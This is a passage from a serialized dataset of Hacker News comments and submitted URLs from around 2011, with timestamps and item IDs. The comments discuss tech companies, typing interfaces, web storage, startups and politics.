I do it, really?\\\\nFirst, spend 15 years working hard on projects with no reward but community goodwill.</i>\", NaN, \"Totally! :-)<p>I just tweaked the server settings and I think its holding up now, fingers corssed\", \"At least the first direct-brain interfaces won't work that way. They cannot recognize what you're thinking and transcribe it, that's way too hard. It'd be more analogous to having an extra limb (which you'll have to train extensively to be able to use it effectively) you can type/move the mouse with.<p>I'm fine with such direct brain interfaces, as long as they don't have to cut a hole in my head, or shave my hair off and put sticky stuff on my head :P\", \"There are no immediate plans to port XMBC, but it is open source so all it would take is some determined people and some time to make it happen.\", \"And yahoo to google.  Facebook has a bigger moat because of logins, but, erm, I still think messaging is a pain in the ass.\", \"Not so fast.<p>CSE wants you to list sites that you want to search from. Of course, you can't default to '<i>' or '</i>.<i>'. They even stated that '</i>.com' and '*.org' etc. won't return any results. That's unacceptable. Secondly, given you could configure it meaningfully it seems it's pretty hard to configure your browser's search bar to use this CSE instead.<p>And that's what I think most people use for searching. At least I do.<p>Facebook got it right this time: with each post, there's an option to hide that post, that person, that application, or that site which posted the post. One click that means \\\"don't show stuff from them anymore\\\": that's what Google needs, too.\", \"They've been saying this for... 20 years or so? Starting from the first PC soundcards?<p>Unless AI really takes leaps I'm sure this will not happen any time soon. Voice is too ambiguous to convert to text with sound only. The machine will really have to understand you.<p>Current voice recognition is really awkward and frustrating, and it's currently much easier to learn fast typing than fast voice input.<p>(and in addition to that there are the many practical drawbacks to voice recognition as voice elsewhere in this thread)\", \"In 2003, total internet advertising revenue was 1/3 of 2009's. Also adjust for inflation and look at the picture again.\", \"I replied but clicked the wrong link, so the reply is here: \\\\n<a href=\\\"http://news.ycombinator.com/item?id=2078872\\\" rel=\\\"nofollow\\\">http://news.ycombinator.com/item?id=2078872</a>\", \"Does anyone else just not grok the idea that sex is about all these terribly negative things?  I have never in my life desired to degrade or debase women through sex or any other means.<p>I know it's hard for women these days, and there are probably more screwed up guys out there than normal ones, but I feel like the latter are getting tarred with the same brush as the former.<p>I can't think of any guy in my immediate social circle that's not a true gentleman inside and out, not even a suppressed, closeted woman-hater.<p>Reading feminist articles like this usually makes me go WTF.  On the hand I'm very sympathetic to the fact that it's not easy being a woman, but on the other I can't help but suspect the author has been a victim of bad luck with men and is projecting on the entire sex.\", \"Thanks for the suggestion and support. :)<p>A friend of mine actually bought some pixels off of the MDHP back in the day. Apparently the guy who started it even sold all of the customer details to outside advertisers for money. My friend received a bunch of spam to the email address he had used. Bad pool.<p>Personally, I like that simple ideas like this can be the seed funding for future projects. Not just in currency, but also in education.\", \"Interestingly enough, I found that by structuring The 4HB like this, Tim addressed one of my main problem with his previous book, The 4HWW:<p>The 4HWW \\\"introduced a few interesting concepts but was pretty poorly written. Specifically because the information was scattered and the chapters didn't lead into each other.\\\"<p>(The above is quoted as it is from an email a friend sent to me yesterday: he summed-up my thoughts better than I could have.)\", NaN, \"Of course you can't compare them directly but I thought it was interesting to see the numbers behind Google's valuation.<p>Based on these numbers, if you think Facebook is overvalued today you sort of have to make the same conclusion about Google in 2004.<p>In fact, Facebook has even higher profit than Google did when it was valued the same.\", \"There are people that are faster using T9 than using a keyboard. But I'm pretty sure that the world's fastest keyboard typist is much faster than the world's fastest T9 typer. \\\\n(because you can 'pre-plan' more keys with a keyboard, using 10 fingers)\\\\n(I haven't done research on this though, so feel free to prove me wrong)\", NaN, \"Yeah but does anyone link to efreedom question pages? And SO as a whole must have way more inbounds than efreedom, surely?\", \"I spent a few years at Apple writing internal tools.<p>IMHO, this is the way to have an effect on a company completely disproportionate to any other activity I know of. The tools I wrote at Apple have enabled projects which, AFAIK, are completely unheard-of at any other tech company.<p>That said, don't expect a payoff proportionate to the effect of the tool.<p>From a company owner's perspective, however, excellent tools can provide an advantage that is difficult for competitors to match. That's worth an awful lot.\", NaN, \"They should have put a graph of internet users and total on-line ad revenue comparing 2003 and 2010.\", \"Bill Zeller, a fifth-year graduate student in the computer science department, died Wednesday night at age 27 as a result of injuries from a suicide attempt.\", \"Pulse News (http://blog.alphonsolabs.com/a-day-at-the-pulse-news-hq-were-hiring) is looking for iOS and Web developers. Or just smart programmers willing to learn new things and excited about Pulse. Shoot us an email, if interested :)\", \"Yes, absolutely. My typing efficiency (compared to a good keyboard) on a touch screen is like 20% at most.<p>We may see alternatives to the current 'static' keyboards though: displays on the keys (I know...), malleable form, flatter, whatever.\", NaN, \"Good point, but the valuation is supposed to go higher when Facebook IPOs.\", \"But that's not the point of the article -- the author of the article agreed with that. And he was sorry for it, and sent a nice mail to excuse for his malbehaviour.<p>It seems his point is that it is very hard to get to actually speak to a human or even get a human reply with Google. If they decide to cut you off (of adwords, or the search engine) there is no real way to appeal or sometimes, even to know why it happened.<p>Google is in no way alone in this, though. I've heard similar things about Apple, Amazon, etc. It's pretty scary of today's companies.\", \"Nice idea, but it's a mix of ubuntu/mac/windows, so something web based would be ideal :)<p>Having a look through these:<p><a href=\\\"http://superuser.com/questions/61404/what-is-a-good-office-mp3-jukebox\\\" rel=\\\"nofollow\\\">http://superuser.com/questions/61404/what-is-a-good-office-m...</a><p><a href=\\\"http://en.jinzora.com/\\\" rel=\\\"nofollow\\\">http://en.jinzora.com/</a><p><a href=\\\"http://xbmc.org/\\\" rel=\\\"nofollow\\\">http://xbmc.org/</a><p><a href=\\\"http://exit66jukebox.berlios.de/\\\" rel=\\\"nofollow\\\">http://exit66jukebox.berlios.de/</a><p>Everything seems fairly basic on the collaborative/veto/encorporating others taste front at the mo though....<p>I maybe being blind?\", \"I think this is great. Sure it isn't for me but neither was the Million Dollar Home Page, but it's a nice modern version.<p>Ignore any negative feedback (unless constructive), haters will hate ;)<p>The way the MDHP got press attention was with a press release, would be worth having a look at for you I think. What bothered me about the MDHP was I felt it was a fraud, he posted about having massive university debts, then as soon as he made the million he quit uni and moved to a big city to invest the money. Which makes me feel it was a bit fraudulent.<p>Gratz!\", \"This is a website I've been working on in this holiday season. It tries to help creators in choosing the right idea to implement, and help you get reviews from your peers or from your friends.\\\\nTo work you need to log in with a google account, describe your idea, and review the ideas of other (chosen randomly). You then will get reviews of your idea from others.\\\\nIt's very basic as this is just a MVP of what it could be and I would really appreciate any suggestions/criticism you could give.\\\\nYou can do it here or directly reviewing the idea of \\\"Idea Roulette\\\" I've created on Idea Roulette following this link (I know, really meta!)<p>http://idearoulette.appspot.com/ideas/10001<p>The homepage of the website is http://idearoulette.appspot.com\\\\nand it give probably a better description of how it works and why you should use it<p>Thank you for your time\", \"Did I say <i>anything</i> in the OP about my blacklist affecting other users? Please read before ranting.\", \"Agility is just getting your process right. C++ can be extremely agile with the right team and the right process. We're living proof.<p>(My company sells high performance C++ post-modern databases and we've been able to pivot really quickly)\", \"I like your attitude regarding this. I feel very much the same way about my own projects. A wave going from \\\"this is awesome, I can't wait to finish it\\\" to \\\"oh my, this is way too ambitious, I'll be dead before it's ever complete\\\" and back.<p>A small success like this can inspire you and build confidence. That's added value in itself. The site you launched is silly nonsense though :-)\", \"Still tied to a specific browser though. Which isn't available on all platforms.\", NaN, \"Actually, I think most people are able to realize that games don't portray reality.\", \"Well tried, Goldman!\", \"Getting a database error here.  Some new lessons to learn on receiving large numbers of visitors from Hacker News?\", \"HN poll?\", \"> There is tons of male submissive porn. Google \\\"femdom\\\", \\\"mistress porn\\\", and so on.<p>Especially Japanese.<p>> People sexualize everything, so saying \\\"there's no {x} porn\\\" is false for almost all values of x. (Google \\\"balloon porn\\\" and \\\"clown porn\\\" for examples.)<p>True, there's even Lego porn.\", \"WTF? Man, the Internet does not cease to amaze me at times... Eh, good luck!\", \"The server is struggling under the load a bit. I will see what I can do.\", \"I expect hacker news readers to take this line. However most non-techies tell me this is the feature they love most about the app. I guess different things work for different people\", \"I'm not sure that making 'apps' cheaper is a good thing, long term, unless sales are so much higher that developers make it up in volume and still be able to invest in development of decent software.\", \"No, that would actually be an easy system to exploit: create a million accounts with your competitors in it, watch how the search engine blocks it.\", NaN, NaN, NaN, \"I don't know much about Ferris, and haven't read the book but I've been a quite devoted life extensionist for a while, researching diets and studies and nutritients relentlessly, and a favorite researcher and blogger of mine is Chris Masterjohn, whose scientific rigor and sobriety is ever unwavering, who wrote a favorable review of 4-hour body.<p><a href=\\\"http://www.cholesterol-and-health.com/Review-Tim-Ferriss-4-Hour-Body.html\\\" rel=\\\"nofollow\\\">http://www.cholesterol-and-health.com/Review-Tim-Ferriss-4-H...</a>\", \"That's specifically talking about the expectation of a ratio though. The expectation of the <i>number of girls</i> is always equal to the number of boys, even for finite families.<p>Expectation of a ratio != ratio of expectations.\", \"Continue replying to a cowards throw away account? Sure why not it is Friday night and I have a beer in hand.<p>Perhaps go back and read my comment you grossly misquoted [1] where I say <i>\\\"removed from most vaccines\\\"</i> if you are going to try to quote me at least do it right.<p>You should read the quote you posted then revise what correlation and causation mean in respect to science and biology in particular.<p>What you quoted explicitly states <i>\\\"thimerosal remains in several nonroutinely administered childhood vaccines\\\"</i>. Note it says nonroutinely, which I will translate for you means not often. So even if only a fraction of the routinely used childhood vaccines had thimerosal removed in the past decade (and it sounds from your quote that none of the routinely ones did have it still in there in 07) we would see a corresponding drop in autism diagnosis rates.<p>We haven't.<p>Ball is in your court cowardly sir if you really believe in what you say you'll use your real account, no one is left on this thread to downvote you.<p>[1] <a href=\\\"http://news.ycombinator.com/item?id=2073702\\\" rel=\\\"nofollow\\\">http://news.ycombinator.com/item?id=2073702</a> (Note i posted that a day ago and HN lock comment editing after a short period of time just in case you are wondering).\"], \"col10\": [1294397925, 1294397915, 1294397853, 1294397817, 1294397770, 1294397632, 1294397592, 1294397573, 1294397530, 1294397355, 1294397308, 1294397263, 1294397023, 1294396992, 1294396934, 1294396924, 1294396872, 1294396811, 1294396781, 1294396779, 1294396609, 1294396574, 1294396568, 1294396523, 1294396509, 1294396489, 1294396408, 1294396347, 1294396274, 1294396256, 1294396246, 1294396189, 1294396144, 1294396125, 1294396101, 1294395941, 1294395826, 1294395760, 1294395754, 1294395718, 1294395661, 1294395632, 1294395560, 1294395391, 1294395391, 1294395327, 1294395246, 1294395188, 1294395169, 1294395134, 1294395129, 1294395082, 1294395080, 1294395063, 1294395040, 1294395011, 1294394978, 1294394897, 1294394862, 1294394815, 1294394758, 1294394710, 1294394693, 1294394637, 1294394630, 1294394441, 1294394405]}, \"column_text\": [2079220, 2079219, 2079218, 2079217, 2079216, 2079215, 2079214, 2079213, 2079212, 2079211, 2079210, 2079209, 2079207, 2079205, 2079204, 2079203, 2079202, 2079200, 2079199, 2079198, 2079193, 2079192, 2079191, 2079190, 2079189, 2079188, 2079187, 2079186, 2079184, 2079183, 2079182, 2079181, 2079180, 2079179, 2079178, 2079177, 2079175, 2079174, 2079173, 2079172, 2079171, 2079170, 2079169, 2079168, 2079167, 2079166, 2079165, 2079164, 2079163, 2079162, 2079161, 2079160, 2079159, 2079158, 2079157, 2079155, 2079154, 2079153, 2079152, 2079151, 2079150, 2079149, 2079148, 2079147, 2079146, 2079144, 2079143]}"
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I look forward to playing some of the games. The teaser reminded me of Infocom's Hitchhikers Guide for some reason...\", \"How did the assassins exit room 230, chained from the inside?!!\", \"Hello,<p>I wanted to make a complete javascript web client. The standard usage with imperative language is to use the MVC pattern.\\\\nI used object oriented programming but the javascript syntax for OOP was a really poor experience. I had the feeling that using a functionnal paradigm would had fitted better with js.<p>I know HN was done with Ark a functional programming language. So I wonder if an MVC pattern was done under the hood? May be there is a good recommendation or a known pattern that help making UI under a functional programming paradigm?\", \"One of the WSJ staffers who writes for that blog and a lot of their tech pieces, Jessica Vascellaro, dates Sam Lessin. He was in Mark's frat and just sold his company to Facebook.\", \"But isn't the speed advantage gone very soon as soon as you have to type non-english text such as programming languages and specific commands (which are a large part of using a computer, you don't only want to type the text, you also want to format it and move it around).<p>Try listening to <a href=\\\"http://www.linux.fm/\\\" rel=\\\"nofollow\\\">http://www.linux.fm/</a> for more than three minutes and you'll get my point :)\", \"Will vi be around in 20 years?\", \"Somehow a gym subscription that you're going to use for 4 hours a month seems like a waste of money.\", \"Omitting these domains from results is \\\"automated\\\".<p><i>Managing the list isn't</i>. It's based partly on how many users report a domain as being spam. At least that's one of the reasons for inclusion. And don't bayesian filters, with little data to work with and if newly implemented always have false positives?<p>Maybe some are labelling valid stuff as spam out of spite.<p>When blekko has millions of users labelling stuff as spam instead of very few, the system will be harder to abuse and the list much better.\", \"You could try reading the guy's bio - <a href=\\\"http://en.wikipedia.org/wiki/Andrew_Plotkin\\\" rel=\\\"nofollow\\\">http://en.wikipedia.org/wiki/Andrew_Plotkin</a><p>Or even the article -<p><i>But I guess everybody who succeeds on Kickstarter has to answer this question.<p>How did I do it, really?\\\\nFirst, spend 15 years working hard on projects with no reward but community goodwill.</i>\", NaN, \"Totally! :-)<p>I just tweaked the server settings and I think its holding up now, fingers corssed\", \"At least the first direct-brain interfaces won't work that way. They cannot recognize what you're thinking and transcribe it, that's way too hard. It'd be more analogous to having an extra limb (which you'll have to train extensively to be able to use it effectively) you can type/move the mouse with.<p>I'm fine with such direct brain interfaces, as long as they don't have to cut a hole in my head, or shave my hair off and put sticky stuff on my head :P\", \"There are no immediate plans to port XMBC, but it is open source so all it would take is some determined people and some time to make it happen.\", \"And yahoo to google.  Facebook has a bigger moat because of logins, but, erm, I still think messaging is a pain in the ass.\", \"Not so fast.<p>CSE wants you to list sites that you want to search from. Of course, you can't default to '<i>' or '</i>.<i>'. They even stated that '</i>.com' and '*.org' etc. won't return any results. That's unacceptable. Secondly, given you could configure it meaningfully it seems it's pretty hard to configure your browser's search bar to use this CSE instead.<p>And that's what I think most people use for searching. At least I do.<p>Facebook got it right this time: with each post, there's an option to hide that post, that person, that application, or that site which posted the post. One click that means \\\"don't show stuff from them anymore\\\": that's what Google needs, too.\", \"They've been saying this for... 20 years or so? Starting from the first PC soundcards?<p>Unless AI really takes leaps I'm sure this will not happen any time soon. Voice is too ambiguous to convert to text with sound only. The machine will really have to understand you.<p>Current voice recognition is really awkward and frustrating, and it's currently much easier to learn fast typing than fast voice input.<p>(and in addition to that there are the many practical drawbacks to voice recognition as voice elsewhere in this thread)\", \"In 2003, total internet advertising revenue was 1/3 of 2009's. Also adjust for inflation and look at the picture again.\", \"I replied but clicked the wrong link, so the reply is here: \\\\n<a href=\\\"http://news.ycombinator.com/item?id=2078872\\\" rel=\\\"nofollow\\\">http://news.ycombinator.com/item?id=2078872</a>\", \"Does anyone else just not grok the idea that sex is about all these terribly negative things?  I have never in my life desired to degrade or debase women through sex or any other means.<p>I know it's hard for women these days, and there are probably more screwed up guys out there than normal ones, but I feel like the latter are getting tarred with the same brush as the former.<p>I can't think of any guy in my immediate social circle that's not a true gentleman inside and out, not even a suppressed, closeted woman-hater.<p>Reading feminist articles like this usually makes me go WTF.  On the hand I'm very sympathetic to the fact that it's not easy being a woman, but on the other I can't help but suspect the author has been a victim of bad luck with men and is projecting on the entire sex.\", \"Thanks for the suggestion and support. :)<p>A friend of mine actually bought some pixels off of the MDHP back in the day. Apparently the guy who started it even sold all of the customer details to outside advertisers for money. My friend received a bunch of spam to the email address he had used. Bad pool.<p>Personally, I like that simple ideas like this can be the seed funding for future projects. Not just in currency, but also in education.\", \"Interestingly enough, I found that by structuring The 4HB like this, Tim addressed one of my main problem with his previous book, The 4HWW:<p>The 4HWW \\\"introduced a few interesting concepts but was pretty poorly written. Specifically because the information was scattered and the chapters didn't lead into each other.\\\"<p>(The above is quoted as it is from an email a friend sent to me yesterday: he summed-up my thoughts better than I could have.)\", NaN, \"Of course you can't compare them directly but I thought it was interesting to see the numbers behind Google's valuation.<p>Based on these numbers, if you think Facebook is overvalued today you sort of have to make the same conclusion about Google in 2004.<p>In fact, Facebook has even higher profit than Google did when it was valued the same.\", \"There are people that are faster using T9 than using a keyboard. But I'm pretty sure that the world's fastest keyboard typist is much faster than the world's fastest T9 typer. \\\\n(because you can 'pre-plan' more keys with a keyboard, using 10 fingers)\\\\n(I haven't done research on this though, so feel free to prove me wrong)\", NaN, \"Yeah but does anyone link to efreedom question pages? And SO as a whole must have way more inbounds than efreedom, surely?\", \"I spent a few years at Apple writing internal tools.<p>IMHO, this is the way to have an effect on a company completely disproportionate to any other activity I know of. The tools I wrote at Apple have enabled projects which, AFAIK, are completely unheard-of at any other tech company.<p>That said, don't expect a payoff proportionate to the effect of the tool.<p>From a company owner's perspective, however, excellent tools can provide an advantage that is difficult for competitors to match. That's worth an awful lot.\", NaN, \"They should have put a graph of internet users and total on-line ad revenue comparing 2003 and 2010.\", \"Bill Zeller, a fifth-year graduate student in the computer science department, died Wednesday night at age 27 as a result of injuries from a suicide attempt.\", \"Pulse News (http://blog.alphonsolabs.com/a-day-at-the-pulse-news-hq-were-hiring) is looking for iOS and Web developers. Or just smart programmers willing to learn new things and excited about Pulse. Shoot us an email, if interested :)\", \"Yes, absolutely. My typing efficiency (compared to a good keyboard) on a touch screen is like 20% at most.<p>We may see alternatives to the current 'static' keyboards though: displays on the keys (I know...), malleable form, flatter, whatever.\", NaN, \"Good point, but the valuation is supposed to go higher when Facebook IPOs.\", \"But that's not the point of the article -- the author of the article agreed with that. And he was sorry for it, and sent a nice mail to excuse for his malbehaviour.<p>It seems his point is that it is very hard to get to actually speak to a human or even get a human reply with Google. If they decide to cut you off (of adwords, or the search engine) there is no real way to appeal or sometimes, even to know why it happened.<p>Google is in no way alone in this, though. I've heard similar things about Apple, Amazon, etc. It's pretty scary of today's companies.\", \"Nice idea, but it's a mix of ubuntu/mac/windows, so something web based would be ideal :)<p>Having a look through these:<p><a href=\\\"http://superuser.com/questions/61404/what-is-a-good-office-mp3-jukebox\\\" rel=\\\"nofollow\\\">http://superuser.com/questions/61404/what-is-a-good-office-m...</a><p><a href=\\\"http://en.jinzora.com/\\\" rel=\\\"nofollow\\\">http://en.jinzora.com/</a><p><a href=\\\"http://xbmc.org/\\\" rel=\\\"nofollow\\\">http://xbmc.org/</a><p><a href=\\\"http://exit66jukebox.berlios.de/\\\" rel=\\\"nofollow\\\">http://exit66jukebox.berlios.de/</a><p>Everything seems fairly basic on the collaborative/veto/encorporating others taste front at the mo though....<p>I maybe being blind?\", \"I think this is great. Sure it isn't for me but neither was the Million Dollar Home Page, but it's a nice modern version.<p>Ignore any negative feedback (unless constructive), haters will hate ;)<p>The way the MDHP got press attention was with a press release, would be worth having a look at for you I think. What bothered me about the MDHP was I felt it was a fraud, he posted about having massive university debts, then as soon as he made the million he quit uni and moved to a big city to invest the money. Which makes me feel it was a bit fraudulent.<p>Gratz!\", \"This is a website I've been working on in this holiday season. It tries to help creators in choosing the right idea to implement, and help you get reviews from your peers or from your friends.\\\\nTo work you need to log in with a google account, describe your idea, and review the ideas of other (chosen randomly). You then will get reviews of your idea from others.\\\\nIt's very basic as this is just a MVP of what it could be and I would really appreciate any suggestions/criticism you could give.\\\\nYou can do it here or directly reviewing the idea of \\\"Idea Roulette\\\" I've created on Idea Roulette following this link (I know, really meta!)<p>http://idearoulette.appspot.com/ideas/10001<p>The homepage of the website is http://idearoulette.appspot.com\\\\nand it give probably a better description of how it works and why you should use it<p>Thank you for your time\", \"Did I say <i>anything</i> in the OP about my blacklist affecting other users? Please read before ranting.\", \"Agility is just getting your process right. C++ can be extremely agile with the right team and the right process. We're living proof.<p>(My company sells high performance C++ post-modern databases and we've been able to pivot really quickly)\", \"I like your attitude regarding this. I feel very much the same way about my own projects. A wave going from \\\"this is awesome, I can't wait to finish it\\\" to \\\"oh my, this is way too ambitious, I'll be dead before it's ever complete\\\" and back.<p>A small success like this can inspire you and build confidence. That's added value in itself. The site you launched is silly nonsense though :-)\", \"Still tied to a specific browser though. Which isn't available on all platforms.\", NaN, \"Actually, I think most people are able to realize that games don't portray reality.\", \"Well tried, Goldman!\", \"Getting a database error here.  Some new lessons to learn on receiving large numbers of visitors from Hacker News?\", \"HN poll?\", \"> There is tons of male submissive porn. Google \\\"femdom\\\", \\\"mistress porn\\\", and so on.<p>Especially Japanese.<p>> People sexualize everything, so saying \\\"there's no {x} porn\\\" is false for almost all values of x. (Google \\\"balloon porn\\\" and \\\"clown porn\\\" for examples.)<p>True, there's even Lego porn.\", \"WTF? Man, the Internet does not cease to amaze me at times... Eh, good luck!\", \"The server is struggling under the load a bit. I will see what I can do.\", \"I expect hacker news readers to take this line. However most non-techies tell me this is the feature they love most about the app. I guess different things work for different people\", \"I'm not sure that making 'apps' cheaper is a good thing, long term, unless sales are so much higher that developers make it up in volume and still be able to invest in development of decent software.\", \"No, that would actually be an easy system to exploit: create a million accounts with your competitors in it, watch how the search engine blocks it.\", NaN, NaN, NaN, \"I don't know much about Ferris, and haven't read the book but I've been a quite devoted life extensionist for a while, researching diets and studies and nutritients relentlessly, and a favorite researcher and blogger of mine is Chris Masterjohn, whose scientific rigor and sobriety is ever unwavering, who wrote a favorable review of 4-hour body.<p><a href=\\\"http://www.cholesterol-and-health.com/Review-Tim-Ferriss-4-Hour-Body.html\\\" rel=\\\"nofollow\\\">http://www.cholesterol-and-health.com/Review-Tim-Ferriss-4-H...</a>\", \"That's specifically talking about the expectation of a ratio though. The expectation of the <i>number of girls</i> is always equal to the number of boys, even for finite families.<p>Expectation of a ratio != ratio of expectations.\", \"Continue replying to a cowards throw away account? Sure why not it is Friday night and I have a beer in hand.<p>Perhaps go back and read my comment you grossly misquoted [1] where I say <i>\\\"removed from most vaccines\\\"</i> if you are going to try to quote me at least do it right.<p>You should read the quote you posted then revise what correlation and causation mean in respect to science and biology in particular.<p>What you quoted explicitly states <i>\\\"thimerosal remains in several nonroutinely administered childhood vaccines\\\"</i>. Note it says nonroutinely, which I will translate for you means not often. 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\"http://www.readwriteweb.com/hack/2011/08/mistakes-made-and-lessons-lear.php#.TlSXQq_UChs.hackernews\", NaN, NaN, NaN, \"http://blog.tartanlabs.com/post/9325871474/reflections-of-an-ex-googler\", \"http://www.redsouthbeach.com/\", NaN, \"http://www.shibara.co.in/2011/08/khwabon-khwabon-song-force-movie.html\", NaN, \"http://blog.apievangelist.com/2011/08/24/conditional-api-documentation/\", \"http://www.pinkfogphotography.com/senior-pictures.html\", \"http://home.pipeline.com/~hbaker1/Prag-Parse.html\", NaN, NaN, NaN, \"http://www.blogoholic.in/2011/08/24/23-must-have-gadgets-students/\", NaN, NaN, NaN, NaN, NaN, NaN, \"http://www.weddingdressshop.ca/hot-sell-wedding-dresses-36\", \"http://www.theperfumeparadise.com/perfume-for-him/burberry\", NaN, \"http://blog.readnovel.com//user/1840047.html\", NaN, \"http://www.packersmovers.ws/delhi-packers-movers.jsp\", NaN], \"col9\": [\"Brothers Karamazov\\\\nGravity's Rainbow\\\\nZen and the Art of Motorcycle Maintanance\", \"Actually it is reported BY the government.\", \"When an unfortunate circumstance occurs, such as Water Damage Los Angeles from flood or sewage backup, you need assistance immediately. This is where Rapid Dry Carpet Care has highly trained technicians who specialize in flood cleanup and water damage control, available 24 hours a day, seven days a week.\", \"If the value you place on the friendship is greater than the amount owed, forgive the debt and ask your friend to just help out someone in need one day when he is able.<p>If the value you place on the friendship is less than the amount owed, bring out the lawyers.\", \"\\\"What to Submit On-Topic: Anything that good hackers would find interesting.\\\" [1]<p>I agree about this being an insane premature optimization, but the C:\\\\ being a bug regarding line continuation within comments? That's fucking fascinating.<p>[1] <a href=\\\"http://ycombinator.com/newsguidelines.html\\\" rel=\\\"nofollow\\\">http://ycombinator.com/newsguidelines.html</a>\", NaN, \"That is a pretty bad Photoshop job on that first iPad.\", \"emacs unfortunately fails on the trigraph-sequence \\\"??/\\\" and ofcourse the line immediately following doesn't get executed. having AST based syntax hi-lighting would of course fix the issue. most editors, afaik, used hacked together regexe's which break-down under various conditions.\", \"Id add that the localStorage setter (localStorage.item = someValue) is up to 2x faster than setItem:<p><a href=\\\"http://jsperf.com/localstorage-getitem-setitem-vs-getter-setter\\\" rel=\\\"nofollow\\\">http://jsperf.com/localstorage-getitem-setitem-vs-getter-set...</a><p>Also, a small gotcha some may face is:<p>typeof localStorage.undefinedItem === undefined\\\\nlocalStorage.getItem(undefinedItem) === null<p>Additionally, since WebKits localStorage stores strings encoded as UTF-16, it only holds 2.5MB worth of UTF-8 encoded strings, compared to the 5MB of other non-WebKit browsers.<p><a href=\\\"http://code.google.com/p/chromium/issues/detail?id=58985#hc15\\\" rel=\\\"nofollow\\\">http://code.google.com/p/chromium/issues/detail?id=58985#hc1...</a>\\\\n<a href=\\\"http://stackoverflow.com/questions/2747285/html5-localstorage-restrictions-and-limits\\\" rel=\\\"nofollow\\\">http://stackoverflow.com/questions/2747285/html5-localstorag...</a>\\\\n<a href=\\\"http://jsfiddle.net/brucealdridge/j6KdJ/\\\" rel=\\\"nofollow\\\">http://jsfiddle.net/brucealdridge/j6KdJ/</a><p>Check for the QUOTA_EXCEEDED_ERR exception in this case:<p><a href=\\\"http://dev.w3.org/html5/webstorage/#the-storage-interface\\\" rel=\\\"nofollow\\\">http://dev.w3.org/html5/webstorage/#the-storage-interface</a><p>Additionally, as stated in the chromium issue aboves comments, localStorage performance degrades as size increases and is considered slower than IndexedDB, though with the benefit of a FAR SIMPLER API and broader browser support (IE8, FF3.5, S4, Chr4, O10.5).<p><a href=\\\"https://developer.mozilla.org/en/dom/storage#Browser_Compatibility\\\" rel=\\\"nofollow\\\">https://developer.mozilla.org/en/dom/storage#Browser_Compati...</a>\", \"My Picks for:<p>- Most likely to succeed in a big way: Parse<p>- Most interesting/clever (want it to succeed): Verbling<p>- Most scary (wary of it succeeding): Double Recall\", NaN, NaN, NaN, NaN, \"This is a startling array of claims, which is unfortunate, as there's a reasonable debate to be had here.<p>Unfortunately, I think starting off with a tl;dr rant, including such howlers as comparing the growth rate of a developing and a developed country isn't the way to get going, not to mention citing Microsoft's <i>current</i> leadership as evidence that programmers can't get anywhere. Erm, I vaguely recall someone else running Microsoft on its way to success... Bill someone?<p>As an aside, given the vast amount of political crackpottery - plenty of which is in evidence here at HN - among programmers, I have to say that I'm not hugely saddened that congress isn't stuffed with developers.<p>There's a serious debate to be had here, but not with this wild, ranting start from a throwaway account.\", NaN, NaN, \"Hey Raj. I live in SF currently and would love to meet up and show you around... reach out at martin at UpOut.com\", NaN, \"Charles de Gaulle did something similar in 1965, but he was importing gold from the US, not from England.<p>Argentina had a similar problem in 1946: its central bank \\\"reserves\\\" were actually held in trust by the Bank of England, in large part as a result of Argentina feeding England through the war, and England (as I understand it) couldn't come up with the cash.  The eventual solution was to exchange the reserves for the British-owned railways of Argentina, which unfortunately couldn't be exported in trade to import the things Argentina needed.<p>I could be nave, but I think keeping your central bank's reserves overseas in a possibly hostile country is a dumb idea.  Chvez doesn't seem to have done a very good job at New-Dealing his country, but he does get some things right.\", \"I dont understand the difference between a closure and an object's state. Is an object one example of a closure? You can pass it around and it contains instance variables.<p>What are lambdas for in this context? Simply calling the object's attribute would return the value set at creation - even if modified afterwards.\", \"W4S is an extremely insidious hitpiece on teachers and unions and was universally criticized by most teachers. Like any documentary with an agenda it extrapolates a few datapoints and says, \\\"look, here is your problem, just get rid of items 1, 2, 3 and everything will work\\\".<p>The kafkaesque dismissal process you allude to is the same in most union jobs. 1: written warning, 2: written warning with training, 3: teacher review board. That's it. The administrator knows this and the teachers know this so I don't see how it is kafkaesque in the slightest. The only way to shortcut that is if the teacher did something illegal like sleep with the students or possess child porn.<p>I also read the piece on the Rubber Room and the reason why the teachers were there was because the administrators were too lazy to actually start the dismissal process. From the same NYT article I read that some teachers should have been fired but hadn't and others shouldn't be there at all but butted heads with the administrators. They were put there because there was a procedure in place but no one wanted to follow it.<p>You work at a large enough company you'll get an employee manual on ways you can be fired and the procedure in place to do so. That is what wasn't happening in the Rubber Room case.\", \"Mobile Prices in Pakistan\", \"Am I the only one who still uses Total Commander instead of Windows Explorer whenever possible?\\\\nI'd love to see this multiple-jobs-in-movecopy-queue functionality in it, but in all other situations it suits me so much better.\", NaN, \"For those with WebGL, this is helpful to visualise:<p><a href=\\\"http://data-arts.appspot.com/globe\\\" rel=\\\"nofollow\\\">http://data-arts.appspot.com/globe</a>\", NaN, \"I'd be interested in seeing benchmarks that demonstrate an improvement when doing this. I'd expect that the average case is slower due to increased disk contention.\", \"Thanks for the code from this indie developer!\", NaN, \"Hi guys,<p>I am coming to San Francisco in Sept for two months to promote my startup: recruiterbox.com. I would love to meet startups and small tech companies, goto some fun and interesting events, and get feedback on our application.<p>I would appreciate tips on areas to live within the city (easy to commute to lot of useful places) and certain must be at events and meets. Any other useful info from startuppers working on saas tools and serving similar markets would be super appreciated!<p>Thanks,\\\\nRaj\", \"DZSlides by Paul Rouget has that feature: <a href=\\\"http://paulrouget.com/dzslides/\\\" rel=\\\"nofollow\\\">http://paulrouget.com/dzslides/</a>\", \"Your comment is fiction almost from beginning to end.<p>Venezuela is not a dictatorship; it's been a democracy since 1958.  It's true that it's socialist, just like Canada and France, but it's struggling with much bigger problems of corruption, illiteracy, poverty, and crime than those countries are.  I don't think Chvez has improved the situation much.  Chvez's government may not be a very good democratic government, but it is at least a democracy. The opposition is even worse, which is why they don't get elected.<p>I live in Argentina.  The country has immense potential, but it's been in intermittent decline since the 1930s.  It has never had a Marxist government.  The periods of rapid decline have largely coincided with right-wing military dictatorships, although there have been a few major disasters under democratic governments as well, notably the 2001 economic collapse produced by the unsustainable 1990s economic policies you are commending.<p>It's useless to blame \\\"class warfare\\\" for the problems.  Even if it's true that the rich are in a state of war with the rest of society (and I think it's a substantial exaggeration; expatriating your ill-gotten gains, making racist remarks about Paraguayan immigrants, and hiring employees under the table does not rise to the level of <i>warfare</i>) the path to reconciliation is through building a society they feel proud to be included in and confident in investing in, not blaming them for the social problems we all have a hand in creating.<p>Chile has barely surpassed Argentina economically after 80 years of Argentine decline.  It's true that it has a more functioning economy, but I'm not sure that the society as a whole is functioning better.<p>Chile also never had a socialist 